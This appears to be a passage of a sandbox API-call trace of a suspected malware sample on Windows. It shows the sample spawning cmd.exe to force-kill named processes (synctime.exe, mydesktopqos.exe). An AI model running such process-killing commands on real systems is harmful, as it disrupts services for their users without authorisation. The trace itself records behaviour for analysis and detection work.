	[0036.878] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.878] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x123fd908 | out: lpFileInformation=0x123fd908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.878] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.879] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.879] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.879] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12408c30, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd9a8 | out: lpFileInformation=0x123fd9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0036.879] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408d00, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd9f8 | out: lpFileInformation=0x123fd9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0036.879] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0036.879] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0036.879] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0036.879] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0036.880] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0036.880] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0036.880] GetEnvironmentStringsW () returned 0x7eb348*
	[0036.880] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0036.880] GetCurrentProcess () returned 0xffffffff
	[0036.880] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d57d0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d57d0*=0xc8) returned 1
	[0036.880] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d57d4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d57d4*=0xac) returned 1
	[0036.880] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d57d8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d57d8*=0xb8) returned 1
	[0036.880] VirtualAlloc (lpAddress=0x12480000, dwSize=0x100000, flAllocationType=0x1000, flProtect=0x4) returned 0x12480000
	[0036.883] VirtualAlloc (lpAddress=0x11128000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x11128000
	[0036.883] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im synctime.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x1243b000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im synctime.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc0, hThread=0xbc, dwProcessId=0x9bc, dwThreadId=0x9c0)) returned 1
	[0036.891] CloseHandle (hObject=0xbc) returned 1
	[0036.891] CloseHandle (hObject=0xb8) returned 1
	[0036.891] CloseHandle (hObject=0xac) returned 1
	[0036.891] CloseHandle (hObject=0xc8) returned 1
	[0036.891] CloseHandle (hObject=0xc4) returned 1
	[0036.891] CloseHandle (hObject=0xb0) returned 1
	[0036.891] CloseHandle (hObject=0xb4) returned 1
	[0036.891] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xffffffff) returned 0x0
	[0037.280] SetEvent (hEvent=0xa8) returned 1
	[0037.280] GetExitCodeProcess (in: hProcess=0xc0, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0037.280] GetProcessTimes (in: hProcess=0xc0, lpCreationTime=0x1247a360, lpExitTime=0x1247a368, lpKernelTime=0x1247a370, lpUserTime=0x1247a378 | out: lpCreationTime=0x1247a360, lpExitTime=0x1247a368, lpKernelTime=0x1247a370, lpUserTime=0x1247a378) returned 1
	[0037.280] CloseHandle (hObject=0xc0) returned 1
	[0037.280] SetEvent (hEvent=0x80) returned 1
	[0037.280] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0037.281] SetEvent (hEvent=0x80) returned 1
	[0037.281] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124409c0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.281] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449188 | out: lpFileInformation=0x12449188*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.281] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.281] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124491d8 | out: lpFileInformation=0x124491d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.281] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.281] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449228 | out: lpFileInformation=0x12449228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.281] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.281] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12449278 | out: lpFileInformation=0x12449278*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.281] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.281] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124492c8 | out: lpFileInformation=0x124492c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.282] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.282] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12449318 | out: lpFileInformation=0x12449318*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.282] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.282] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12449368 | out: lpFileInformation=0x12449368*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.282] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.282] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124493b8 | out: lpFileInformation=0x124493b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.282] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.282] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12449408 | out: lpFileInformation=0x12449408*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.282] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.282] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12449458 | out: lpFileInformation=0x12449458*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.282] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.282] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x124494a8 | out: lpFileInformation=0x124494a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.282] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.282] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124494f8 | out: lpFileInformation=0x124494f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.282] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.283] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12440a90, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0037.283] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449548 | out: lpFileInformation=0x12449548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0037.283] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440b60, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.283] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449598 | out: lpFileInformation=0x12449598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0037.283] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0037.283] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0037.283] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0037.283] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0037.283] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0037.283] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0037.284] GetEnvironmentStringsW () returned 0x7eb348*
	[0037.284] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0037.284] GetCurrentProcess () returned 0xffffffff
	[0037.284] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f550, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f550*=0xc4) returned 1
	[0037.284] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f554, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f554*=0xc8) returned 1
	[0037.284] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f558, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f558*=0xac) returned 1
	[0037.284] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im mydesktopqos.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12475000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im mydesktopqos.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xbc, hThread=0xb8, dwProcessId=0x840, dwThreadId=0x824)) returned 1
	[0037.292] CloseHandle (hObject=0xb8) returned 1
	[0037.292] CloseHandle (hObject=0xac) returned 1
	[0037.292] CloseHandle (hObject=0xc8) returned 1
	[0037.292] CloseHandle (hObject=0xc4) returned 1
	[0037.292] CloseHandle (hObject=0xc0) returned 1
	[0037.292] CloseHandle (hObject=0xb4) returned 1
	[0037.292] CloseHandle (hObject=0xb0) returned 1
	[0037.292] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0
	[0037.780] SetEvent (hEvent=0xa8) returned 1
	[0037.780] GetExitCodeProcess (in: hProcess=0xbc, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0037.780] GetProcessTimes (in: hProcess=0xbc, lpCreationTime=0x124820e0, lpExitTime=0x124820e8, lpKernelTime=0x124820f0, lpUserTime=0x124820f8 | out: lpCreationTime=0x124820e0, lpExitTime=0x124820e8, lpKernelTime=0x124820f0, lpUserTime=0x124820f8) returned 1
	[0037.780] CloseHandle (hObject=0xbc) returned 1
	[0037.781] SetEvent (hEvent=0x80) returned 1
	[0037.781] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0037.793] SetEvent (hEvent=0x80) returned 1
	[0037.793] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408dd0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.794] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fda48 | out: lpFileInformation=0x123fda48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.794] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.794] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0037.794] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0037.794] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
